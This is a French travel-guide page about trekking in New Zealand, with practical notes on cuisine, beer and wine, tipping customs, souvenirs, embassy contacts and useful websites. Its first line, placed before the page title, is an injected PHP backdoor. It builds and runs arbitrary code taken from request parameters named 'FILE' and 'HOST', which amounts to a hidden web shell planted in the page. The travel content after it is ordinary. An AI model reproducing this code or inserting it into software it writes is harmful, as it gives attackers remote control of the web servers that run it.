if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['68d707b43aa89fa1d7b9dbabe41dcb7a']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} Trek en Pays Maori

Trek en Pays Maori

Etapes du périple en Nouvelle Zélande


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Quelques repères pratiques

Météo

Météo locale en Nouvelle-Zélande



Cuisine
La cuisine néo-zélandaise est encore fille de la cuisine britannique : pies, fish and chips, puddings et sauce à la menthe en sont les piliers. L’agneau est généralement servi grillé aux herbes, bien cuit. Sa saveur est prononcée : c’est du hogget (agneau âgé d’un an). Les plats maoris valent que l’on s’y arrête. Le hangi, par exemple, ragoût de viande et de patates douces, cuit dans un four creusé à même le sol ; ou le muttonbird, un puffin fumé et rôti. On trouve, bien sûr, poissons et fruits de mer en abondance…

Boisson
L’eau du robinet est potable, mais, pour plus de sûreté, on lui préfèrera l’eau minérale en bouteille. La bière, généralement blonde et légère, est la boisson nationale. La production des grands brasseurs est assez standard, mais on peut trouver des mousses de belle venue dans les micro-brasseries qui se sont multipliées ces dernières années. Les vins, dont les principales régions productrices sont Hawke’s Bay (île du Nord) et Marlborough (île du Sud), sont souvent des vins de cépage (Sauvignon, Pinot noir, Chardonnay…) et se boivent très bien jeunes ; on trouve également quelques beaux assemblages. Le thé fait, lui, partie de l’héritage britannique ; il se prend comme à Londres (donc souvent médiocre et à la va vite, mais parfois délicieux et avec un décorum charmant…).

Savoir-vivre
Le pourboire est laissé à votre appréciation. Pour toutes les personnes intervenant dans le cadre des prestations achetées par notre intermédiaire, vous avez l’assurance qu’il ne se substituera jamais au salaire. Néanmoins, il est d´usage dans la quasi-totalité des pays au monde de donner un pourboire lorsque l’on a été satisfait du service. En ce qui concerne le personnel local (porteurs, serveurs…) les usages sont très variables. Le mieux est d’aligner votre pourboire sur l’économie locale : le prix d´une bière ou d´un thé, d’un paquet de cigarettes locales, vous donneront un aperçu du niveau de vie. A l’hôtel, par exemple, 2 dollars néo-zélandais sont réguliers pour un porteur ou un voiturier. En revanche, au pub, le service est au comptoir : pas de pourboire (mais on peut abandonner quelques pièces si l’ambiance est bonne). La taxe de 12,5% sur les biens et services est généralement comprise (loueurs de voiture et hôtels de luxe affichent, eux, volontiers des tarifs hors taxe). La pratique du pourboire se généralise, mais de nombreux Néo-Zélandais la tiennent encore pour étrange et déplacée. Si vous êtes royalement servi dans un restaurant, laissez de 5% à 10% de pourboire.

Achats-souvenirs
Poteries, lainages, artisanat maori, artisanat du cuir… Mais aussi, peut-être, un pot de pâte à tartiner Vegemite, dont le goût salé vous rappellera les antipodes.

ADRESSES UTILES

Ambassade
Ambassade de Nouvelle-Zélande en France
7 ter, rue Léonard de Vinci –
75116 Paris
Tél. : 01 45 01 43 43
Fax : 01 45 01 43 44
Email : nzembassy.paris@fr.oleane.com
Web : www.nzembassy.com

En France métropolitaine les fonctions consulaires sont assurées par l’ambassade.

Il y a un consulat général de Nouvelle-Zélande à Nouméa (tél. 00 687 27 25 43).

La Nouvelle-Zélande n’a pas d’office de tourisme en France ; le site de l’ambassade donne des informations intéressantes.
On peut également consulter le site de Tourism New Zealand : www.newzealand.com Représentations nationales sur place
Ambassade de France en Nouvelle-Zélande
Sovereign Building – 34-42,
Manners Street – PO Box 11 343 –
6012 Wellington
Tél. : 64 4 384 25 55 ou 64 274 432 410 (urgence)
Fax : 64 4 384 25 77
Email : amba.france@actriz.gen.nz

Liens pratiques

Très beau site consacré à la Nouvelle-Zélande : http://www.destination-nouvelle-zelande.fr/

Le journal du jour : http://www.nzherald.co.nz/
Météo en Nouvelle Zélande : http://www.metservice.com/national/
Conditions de circulation, trafic : http://www.nzta.govt.nz/traffic/current-conditions/index.html
Payer le (seul) péage (entre Orewa et Johnstone sur la route n,°1 en direction du Nord après Auckland) avant ou après y être passé…2 NZD par sens : http://www.tollroad.govt.nz/
Parler le Maori : http://www.maorilanguage.net/
La radio en kiwi : http://www.radionz.co.nz/national/home
Envie de radios Maori ? http://www.maorimedia.co.nz/#nogo